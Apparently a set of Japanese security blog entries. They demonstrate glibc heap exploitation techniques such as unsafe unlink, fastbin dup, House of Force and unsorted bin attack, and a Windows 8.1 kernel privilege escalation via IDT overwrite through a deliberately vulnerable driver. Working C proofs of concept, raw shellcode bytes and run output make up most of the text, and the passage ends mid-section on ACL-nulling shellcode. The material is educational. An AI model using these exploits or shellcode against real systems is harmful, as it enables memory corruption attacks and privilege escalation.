$ gcc large_chunks_in_heap.c -o large_chunks_in_heap $ ./large_chunks_in_heap [+] allocate p1 p1 = 0x7fbc43aa0010 [+] free p1 [+] allocate p2, p3, p4 p2 = 0x16db420 p3 = 0x16fc430 p4 = 0x171d440
unsafe unlink attack
古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。
1413 /* Take a chunk off a bin list */ 1414 #define unlink(AV, P, BK, FD) { \ 1415 FD = P->fd; \ 1416 BK = P->bk; \ 1417 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ /* <- here */ 1418 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ 1419 else { \ 1420 FD->bk = BK; \ 1421 BK->fd = FD; \ 1422 if (!in_smallbin_range (P->size) \ 1423 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 1424 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ 1425 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ 1426 malloc_printerr (check_action, \ 1427 "corrupted double-linked list (not small)", \ 1428 P, AV); \ 1429 if (FD->fd_nextsize == NULL) { \ 1430 if (P->fd_nextsize == P) \ 1431 FD->fd_nextsize = FD->bk_nextsize = FD; \ 1432 else { \ 1433 FD->fd_nextsize = P->fd_nextsize; \ 1434 FD->bk_nextsize = P->bk_nextsize; \ 1435 P->fd_nextsize->bk_nextsize = FD; \ 1436 P->bk_nextsize->fd_nextsize = FD; \ 1437 } \ 1438 } else { \ 1439 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 1440 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 1441 } \ 1442 } \ 1443 } \ 1444 }
しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。
/* unsafe_unlink.c */ #include <stdio.h> #include <stdlib.h> void jackpot() { puts("jackpot!"); } char *p; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p and p1"); p = malloc(0x40); char *p1 = malloc(0x80); printf("p = %p\n", p); printf("p1 = %p\n", p1); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] abuse p overflow"); *(void **)(p+0x10) = (void *)&p-0x18; *(void **)(p+0x18) = (void *)&p-0x10; *(void **)(p+0x40) = 0x40; *(void **)(p+0x48) = 0x90; printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18); printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] free p1 (p <- &p-0x18)"); free(p1); printf("p = %p\n", p); puts("\n[+] modify p and write *p"); *(void **)(p+0x18) = 0x601028; /* printf@got */ *(void **)p = jackpot; printf("p = %p\n", p); return 0; }
$ gcc unsafe_unlink.c -o unsafe_unlink unsafe_unlink.c: In function ‘main’: unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x40) = 0x40; ^ unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x48) = 0x90; ^ unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x18) = 0x601028; /* printf@got */ ^ $ ./unsafe_unlink &p = 0x601058 [+] allocate p and p1 p = 0x20bc420 p1 = 0x20bc470 p1->prev_size = (nil) p1->size = 0x91 [+] abuse p overflow p->fd->bk = 0x601058 p->bk->fd = 0x601058 p1->prev_size = 0x40 p1->size = 0x90 [+] free p1 (p <- &p-0x18) p = 0x601040 [+] modify p and write *p jackpot!
追記
上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。
fastbins unlink attack
通常0x80=128バイト(M_MXFAST
)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。
さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->size
が正しいかどうかのみとなる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。
/* fastbins_unlink.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } void *n = 0x51; void (*p)() = leave; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p1, p2"); char *p1 = malloc(0x20); char *p2 = malloc(0x40); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); puts("\n[+] free p2"); free(p2); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x28) = 0x51; *(void **)(p1+0x30) = (void *)&p - 0x10; printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("p2->fd = %p\n", *(void **)(p2+0x0)); puts("\n[+] unlink p2"); char *p3 = malloc(0x40); printf("p3 = %p\n", p3); puts("\n[+] get target memory"); char *p4 = malloc(0x40); printf("p4 = %p\n", p4); *(void **)p4 = jackpot; p(); return 0; }
$ gcc fastbins_unlink.c -o fastbins_unlink fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *n = 0x51; ^ fastbins_unlink.c: In function ‘main’: fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x28) = 0x51; ^ $ ./fastbins_unlink &p = 0x601058 [+] allocate p1, p2 p1 = 0x1ac6420 p2 = 0x1ac6450 [+] free p2 [+] abuse p1 overflow p2->size = 0x51 p2->fd = 0x601048 [+] unlink p2 p3 = 0x1ac6450 [+] get target memory p4 = 0x601058 jackpot!
fastbin dup into stack
fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。
したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd
を書き換えることでfastbins unlink attackを行うことができる。
なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。
/* fastbin_dup_into_stack.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } void *n = 0x51; void (*p)() = leave; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p1, p2, p3"); char *p1 = malloc(0x40); char *p2 = malloc(0x40); char *p3 = malloc(0x40); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); puts("\n[+] free p1, p2, p1"); free(p1); free(p2); free(p1); puts("\n[+] allocate p4, p5"); char *p4 = malloc(0x40); char *p5 = malloc(0x40); printf("p4 = %p\n", p4); printf("p5 = %p\n", p5); puts("\n[+] write p4->fd"); *(void **)p4 = (void *)&p - 0x10; printf("p4->size = %p\n", *(void **)(p4-0x8)); printf("p4->fd = %p\n", *(void **)p4); puts("\n[+] unlink p4 by allocating p6"); char *p6 = malloc(0x40); printf("p6 = %p\n", p6); puts("\n[+] get target memory"); char *p7 = malloc(0x40); printf("p7 = %p\n", p7); *(void **)p7 = jackpot; p(); return 0; }
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *n = 0x51; ^ $ ./fastbin_dup_into_stack &p = 0x601058 [+] allocate p1, p2, p3 p1 = 0x1e8e420 p2 = 0x1e8e470 p3 = 0x1e8e4c0 [+] free p1, p2, p1 [+] allocate p4, p5 p4 = 0x1e8e420 p5 = 0x1e8e470 [+] write p4->fd p4->size = 0x51 p4->fd = 0x601048 [+] unlink p4 by allocating p6 p6 = 0x1e8e420 [+] get target memory p7 = 0x601058 jackpot!
chunk size overwrite attack
隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。
/* chunk_size_overwrite.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } int main() { puts("[+] allocate p1, p2, p3"); char *p1 = malloc(0x80); char *p2 = malloc(0x80); void (**p3)() = malloc(sizeof(void *)); *p3 = leave; printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("*p3 = %p\n", *p3); puts("\n[+] free p2"); free(p2); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x88) = 0x1001; printf("p2->size = %p\n", *(void **)(p2-0x8)); puts("\n[+] allocate a large chunk"); char *p4 = malloc(0x200); printf("p4 = %p\n", p4); puts("\n[+] overwrite *p3"); *(void **)(p4+0x90) = jackpot; printf("*p3 = %p\n", *p3); (*p3)(); return 0; }
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite chunk_size_overwrite.c: In function ‘main’: chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x88) = 0x1001; ^ $ ./chunk_size_overwrite [+] allocate p1, p2, p3 p1 = 0x8ca420 p2 = 0x8ca4b0 p3 = 0x8ca540 p2->size = 0x91 *p3 = 0x4005f6 [+] free p2 [+] abuse p1 overflow p2->size = 0x1001 [+] allocate a large chunk p4 = 0x8ca4b0 [+] overwrite *p3 *p3 = 0x400607 jackpot!
House of Force attack
heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。
- top chunkのアドレスが推測可能
- top chunkのサイズを任意の値に書き換えられる
- その後任意のサイズのmallocを呼ぶことができる
また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。
/* house of force.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } unsigned long junk = 0xdeadbeef; void (*p)() = leave; int main() { printf("&p = %p\n", &p); printf("junk = %lx\n", junk); puts("\n[+] allocate p1"); char *p1 = malloc(0x40); char *top_chunk = p1+0x40; printf("p1 = %p\n", p1); printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x48) = -1; printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] allocate a huge chunk (break &p-0x8)"); long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10); char *p2 = malloc(newsize); printf("junk = %lx\n", junk); puts("\n[+] get target memory"); char *p3 = malloc(0x80); printf("p3 = %p\n", p3); if ((long)&p % 0x10 == 0) { *(void **)p3 = jackpot; } else { *(void **)(p3+0x8) = jackpot; } p(); return 0; }
$ gcc house_of_force.c -o house_of_force house_of_force.c: In function ‘main’: house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x48) = -1; ^ $ ./house_of_force &p = 0x601050 junk = deadbeef [+] allocate p1 p1 = 0x117f420 top chunk size = 0x20ba1 [+] abuse p1 overflow top chunk size = 0xffffffffffffffff [+] allocate a huge chunk (break &p-0x8) junk = b7e419 [+] get target memory p3 = 0x601050 jackpot!
unsorted bin attack
fastbin chunkではないchunk(サイズがM_MXFAST
以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top)
)に書き換えることができる。
/* unsorted_bin.c */ #include <stdio.h> #include <stdlib.h> unsigned long target = 0xdeadbeef; int main(){ printf("target = %lx\n", target); puts("\n[+] allocate p1, p2, p3"); char *p1 = malloc(0x80); char *p2 = malloc(0x90); char *p3 = malloc(0xa0); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); puts("\n[+] free p2"); free(p2); puts("\n[+] abusing p1 overflow"); *(void **)(p1+0x98) = (void *)&target-0x10; puts("\n[+] allocate p4 with the same size of p2"); char *p4 = malloc(0x90); printf("p4 = %p\n", p4); puts("\n[+] target is overwritten with a large number: &(main_arena->top)"); printf("target = %lx\n", target); return 0; }
$ gcc unsorted_bin.c -o unsorted_bin $ ./unsorted_bin target = deadbeef [+] allocate p1, p2, p3 p1 = 0x1d60420 p2 = 0x1d604b0 p3 = 0x1d60550 [+] free p2 [+] abusing p1 overflow [+] allocate p4 with the same size of p2 p4 = 0x1d604b0 [+] target is overwritten with a large number: &(main_arena->top) target = 7fd47489eb78
更新履歴
- 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
- 2018/01/24: fastbin dup into stackを追記
関連リンク
- Glibc malloc internal
- shellphish/how2heap: A repository for learning various heap exploitation techniques.
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap
- katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tp
- HITCON CTF Quals 2016 Writeup - ShiftCrops つれづれなる備忘録
- Advanced Heap Exploitation: 0CTF 2015 'freenote' writeup
- BCTF 2016 writeup - しゃろの日記
- Heap overflow using Malloc Maleficarum | sploitF-U-N
- gb_master's /dev/null – … and I said, "Hello, Satan. I believe it's time to go."
- The macabre dance of memory chunks | This is Security :: by Stormshield
- 杨坤:掘金CTF ——CTF中的内存漏洞利用技巧, Geekon 2015 | Network and Information Security Lab @ Tsinghua University
- 0CTF 2016 - Zerostorage Writeup - BrieflyX's Base
- Pwning My Life: HITCON CTF Qual 2016 - House of Orange Write up
- Advanced Heap Overflow Exploitation
WindowsでIDT overwriteによる権限昇格をやってみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、HalDispatchTableの書き換えを行うことでシェルコードの実行を行った。 しかし、HalDispatchTableやその中のポインタを呼び出す関数の実装はOSのメジャーアップデートなどで変更される可能性があるため、将来的に確実であるとは限らない。 そこで、ここではより確実な方法として、Interrupt Descriptor Table(IDT)の書き換えを利用した権限昇格をやってみる。 IDTはx86アーキテクチャの仕様において割り込みの仕組みとともに定義されており、より変更されにくいものであるといえる。
なお、このエントリの内容については次のスライドでも説明している。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。
Interrupt Descriptor Table
x86アーキテクチャでは、int命令などにより割り込みが発生するとInterrupt Descriptor Table(IDT)と呼ばれるテーブルに格納されたハンドラ関数(Interrupt Service Routine; ISR)が呼ばれる。 ISRはRing 0(カーネルモード)の権限で実行される。
カーネルデバッグを行い、IDTの内容を調べてみると次のようになる。
kd> !idt -a Dumping IDT: 81114400 dfe3262500000000: 81d6f4fc nt!KiTrap00 dfe3262500000001: 81d6f6ac nt!KiTrap01 dfe3262500000002: Task Selector = 0x0058 dfe3262500000003: 81d6fbb0 nt!KiTrap03 dfe3262500000004: 81d6fd78 nt!KiTrap04 (snip) dfe32625000000fc: 81d6e2b0 nt!KiUnexpectedInterrupt204 dfe32625000000fd: 81c211dc hal!HalpTimerProfileInterrupt dfe32625000000fe: 81c214c0 hal!HalpPerfInterrupt dfe32625000000ff: 81d6e2d4 nt!KiUnexpectedInterrupt207 Dumping Secondary IDT: 00000000 kd> dc 81114400 81114400 0008f4fc 81d68e00 0008f6ac 81d68e00 ................ 81114410 00580000 00008500 0008fbb0 81d6ee00 ..X............. 81114420 0008fd78 81d6ee00 0008ff20 81d68e00 x....... ....... 81114430 000800d4 81d78e00 000807d4 81d78e00 ................ 81114440 00500000 00008500 000809e0 81d78e00 ..P............. 81114450 00080b3c 81d78e00 00080cb0 81d78e00 <............... 81114460 00080f70 81d78e00 000812cc 81d78e00 p............... 81114470 00081a34 81d78e00 00081ce8 81d78e00 4...............
IDTの各エントリはInterrupt Gateと呼ばれ、次のような8バイトのデータが格納されている。
上の結果から、たとえばint3
命令により3番の割り込みが発生した際はアドレス81d6fbb0にあるnt!KiTrap03
がISRとして実行されることがわかる。
また、Descriptor Privilege Level(DPL)は割り込みが可能なCPUの権限を表しており、3であればRing 3(ユーザモード)からの割り込みが可能であることを意味する。
この場合、3番のGateに対応する0008fbb0 81d6ee00
を見るとDPLが3となっており、ユーザモードからの割り込みが可能となっている。
以上を踏まえると、適当な番号のInterrupt GateをDPLを3とした上で書き換えることにより、任意のアドレスに置いたISRを実行できそうなことがわかる。
シェルコードを呼び出すISRを書いてみる
上を踏まえて、適当なシェルコードを呼び出すISRを書いてみると次のようになる。
; isr.asm .386 .model flat, stdcall .code start: pushad push fs mov ax, 30h mov fs, ax call shellcode pop fs popad iretd shellcode: ret end start
上のコードでは、まず各レジスタの値をスタックに退避した後、fsセグメントレジスタの値を0x33から0x30に切り替える。 ここで、0x33はユーザモードで参照されるTEB構造体、0x30はカーネルモードで参照されるKPCR構造体にそれぞれ対応する。 そして、ISRの直後に置かれたシェルコードをcallする。 最後に、スタックに退避した値をレジスタに戻し、ret命令の代わりにiretd命令でリターンする。
上のコードをアセンブルし、C文字列に変換すると次のようになる。
>ml isr.asm /link /subsystem:console >dumpbin /rawdata isr.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file isr.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 0F A0 66 B8 30 00 66 8E E0 E8 04 00 00 00 0F `..f¸0.f.àè..... 00401010: A1 61 CF C3 ¡aÏÃ Summary 1000 .text >dumpbin /rawdata isr.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF\xC3
エクスプロイトコードを書いてみる
ここまでの内容をもとに、IDTの書き換えによりシェルコードを実行するエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; void replacePattern(char *buffer, int size, DWORD pattern, DWORD value) { for (int i = 0; i<size; i++) { if (*(DWORD *)(buffer + i) == pattern) { *(DWORD *)(buffer + i) = value; } } } ULONG sidt() { #pragma pack(push, 1) struct { USHORT limit; ULONG base; } idtr; #pragma pack(pop) __asm { sidt idtr; } return idtr.base; } int main() { DWORD BytesReturned; char isr[] = "\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF"; char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3"; replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId()); LPVOID rwxMemory = VirtualAlloc((LPVOID)0x41410000, 0x20000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memset(rwxMemory, 0x90, 0x10000); memcpy((CHAR *)rwxMemory + 0x10000, isr, sizeof(isr) - 1); memcpy((CHAR *)rwxMemory + 0x10000 + sizeof(isr) - 1, shellcode, sizeof(shellcode)); ULONG idt_base = sidt(); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)idt_base + 8 * 32 + 4; arg.value = (DWORD)0x4141ee00; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); __asm { int 32; } WinExec("cmd", SW_SHOWNORMAL); return 0; }
上のコードの内容を簡単に説明すると次のようになる。
- 0x41410000から0x41420000にnop-sled、その直後にISRコードとシェルコードを配置する
- sidt命令を用いてIDTが置かれているアドレスを取得する
- デバイスドライバの脆弱性を用い、32番のInterrupt GateをISRアドレスの上位2バイトが0x4141、DPLが3となるように書き換える
- int命令を用いて32番の割り込みを発生させ、シェルコードを実行させる
- コマンドプロンプトを起動する
x86の仕様では32から255の割り込みはユーザ定義とされている(予約されていない)ため、ここでは32番の割り込みについて書き換えを行っている。 また、シェルコードには「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」で作成したReplace Token Shellcodeを利用している。
エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Project Zero: One font vulnerability to rule them all #4: Windows 8.1 64-bit sandbox escape exploitation
- Interrupt Service Routines - OSDev Wiki
- SIMPLE IS BETTER: Kernel Information Leak with Unprivileged Instructions (SIDT, SGDT) on x86 - WHY ?
- Pop Pop Ret: Windows Kernel Exploitation Basics - Part 3 : Arbitrary Memory Overwrite exploitation using LDT
WindowsでNulling out ACLs Shellcodeによる権限昇格をやってみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、SystemプロセスのTokenを自身のプロセスのTokenにコピーするシェルコードを使って権限昇格を行った。 この方法のほかに、System権限で動作するプロセスのACL(Access Control List)を書き換え、このプロセスにコードインジェクションを行うことで権限昇格を行う方法が知られている。 この方法はNulling out ACLsと呼ばれる。 ここでは、Nulling out ACLsを行うシェルコードを使った権限昇格をやってみる。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成し、あらかじめscコマンドを使ってこれをロードしておく。
Nulling out ACLs Shellcode
EPROCESS構造体を含む多くの構造体には、OBJECT_HEADERと呼ばれるヘッダ情報がある。 カーネルデバッグを行い、これについて調べてみると次のようになる。
kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** (snip) PROCESS 8ce85700 SessionId: 1 Cid: 01b8 Peb: 7fccf000 ParentCid: 018c DirBase: 72799040 ObjectTable: 8e7f6ec0 HandleCount: <Data Not Accessible> Image: winlogon.exe (snip) kd> dt _OBJECT_HEADER 8ce85700-18 nt!_OBJECT_HEADER +0x000 PointerCount : 0n433 +0x004 HandleCount : 0n12 +0x004 NextToFree : 0x0000000c Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0x7 '' +0x00d TraceFlags : 0 '' +0x00d DbgRefTrace : 0y0 +0x00d DbgTracePermanent : 0y0 +0x00e InfoMask : 0x48 'H' +0x00f Flags : 0 '' +0x00f NewObject : 0y0 +0x00f KernelObject : 0y0 +0x00f KernelOnlyAccess : 0y0 +0x00f ExclusiveObject : 0y0 +0x00f PermanentObject : 0y0 +0x00f DefaultSecurityQuota : 0y0 +0x00f SingleHandleEntry : 0y0 +0x00f DeletedInline : 0y0 +0x010 ObjectCreateInfo : 0x8124b700 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x8124b700 Void +0x014 SecurityDescriptor : 0x85a07e1b Void +0x018 Body : _QUAD
上において、SecurityDescriptorはこのプロセスへのアクセス制限に関する情報(ACL)を表している。 通常、System権限で動作しているプロセスはOpenProcess関数で開くことができないが、SecurityDescriptorをNULLに書き換えることでプロセスを開きメモリを読み書きすることが可能になる。 つまり、コードインジェクションにより任意のコードをSystem権限で実行できるようになる。
そこで、System権限で動作しているwinlogon.exeのSecurityDescriptorをNULLに書き換えるシェルコードを書いてみると次のようになる。
